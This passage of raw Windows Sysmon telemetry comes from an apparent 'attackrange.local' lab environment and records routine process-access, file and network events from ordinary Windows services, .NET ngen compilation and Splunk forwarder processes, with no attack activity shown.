14:45:32.164{7BD73061-6D0F-613B-9406-00000000F001}44805900C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.164{7BD73061-6D0F-613B-9406-00000000F001}44805900C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.164{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.164{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.164{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8C-613B-E20A-00000000F001}6252C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.164{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8C-613B-E20A-00000000F001}6252C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.117{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8C-613B-E10A-00000000F001}5784C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.086{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8C-613B-E10A-00000000F001}5784C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.086{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8C-613B-E10A-00000000F001}5784C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:33.961{7BD73061-6F1E-613B-3F07-00000000F001}66245708C:\Windows\system32\conhost.exe{7BD73061-6F8D-613B-E90A-00000000F001}5536C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:33.961{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8D-613B-E90A-00000000F001}5536C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:33.945{7BD73061-6F1E-613B-3E07-00000000F001}38321644C:\Windows\Microsoft.NET\Framework64\v4.0.30319\NGenTask.exe{7BD73061-6F8D-613B-E90A-00000000F001}5536C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.dll+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.DLL+35491|UNKNOWN(00007FF8E4D75A07) 23542300x800000000000000045938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:33.945{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=434F26CA00689391592EF824D60D006C,SHA256=54C1169E3457EE2D4B0CE7137A4E47773722A419C7CEE5AAB1F8B9132976BE71,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:33.945{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=48C32FBD8C6A63FF755C407F88D61FC7,SHA256=59BF3D66789F5B312F02B08375C48ECEAC5A5F828752E17EEBB11ACBE1E3A905,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000045936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.533{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59271-false10.0.1.12-8000- 23542300x800000000000000014059Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:33.393{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=96D1EBFAECA09832337D9E2D45D83B2F,SHA256=EFA1144548E430A1E2505EE0FE6FD8304F70EAEEFCFF6767CB1661AB204E60C7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:33.008{7BD73061-6F8C-613B-E80A-00000000F001}6908NT AUTHORITY\SYSTEMC:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\temp\98A7L9CHSL\Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop.ni.dll.auxMD5=FBFC283140D24FB93C53A90A316A9DD7,SHA256=A7657C3B157457BC5F39998449F05B0B1396B3AEA97B266F83002967E62ACF38,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:33.008{7BD73061-6F8C-613B-E80A-00000000F001}6908NT AUTHORITY\SYSTEMC:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\temp\98A7L9CHSL\Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop.ni.dllMD5=0C59FDF1B6F7F5C2E95C93DB3250A327,SHA256=590BD9DDC0F4EB6536F8ED2D724E9263D13F4EE6D6CF04520886295596FE197E,IMPHASH=00000000000000000000000000000000truetrue 10341000x800000000000000045933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:32.773{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F8C-613B-E80A-00000000F001}6908C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:34.961{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F68C1EA805CD6D836CCD7EEAA61ECF74,SHA256=9BA25F2BDCCD0F8C31A7D69588694C9A47416CFAE5A5AE6246E3A3BC1F0CE276,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014074Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:34.409{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DCC9B7EB9C35F0462491194985362B7F,SHA256=53C7321CD27E73E5B690A0CC63F8DF10B12A9A550B4E097374E836574313E9A7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:34.070{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F1E-613B-3E07-00000000F001}3832C:\Windows\Microsoft.NET\Framework64\v4.0.30319\NGenTask.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:33.992{7BD73061-65B0-613B-0B00-00000000F001}6205912C:\Windows\system32\lsass.exe{7BD73061-6F8D-613B-E90A-00000000F001}5536C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:33.992{7BD73061-65B0-613B-0B00-00000000F001}6205912C:\Windows\system32\lsass.exe{7BD73061-6F8D-613B-E90A-00000000F001}5536C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014073Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:34.284{625C326B-6F8E-613B-9E04-00000000F101}3384676C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014072Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:34.049{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F8E-613B-9E04-00000000F101}3384C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014071Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:34.049{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014070Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:34.049{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014069Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:34.049{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014068Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:34.049{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014067Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 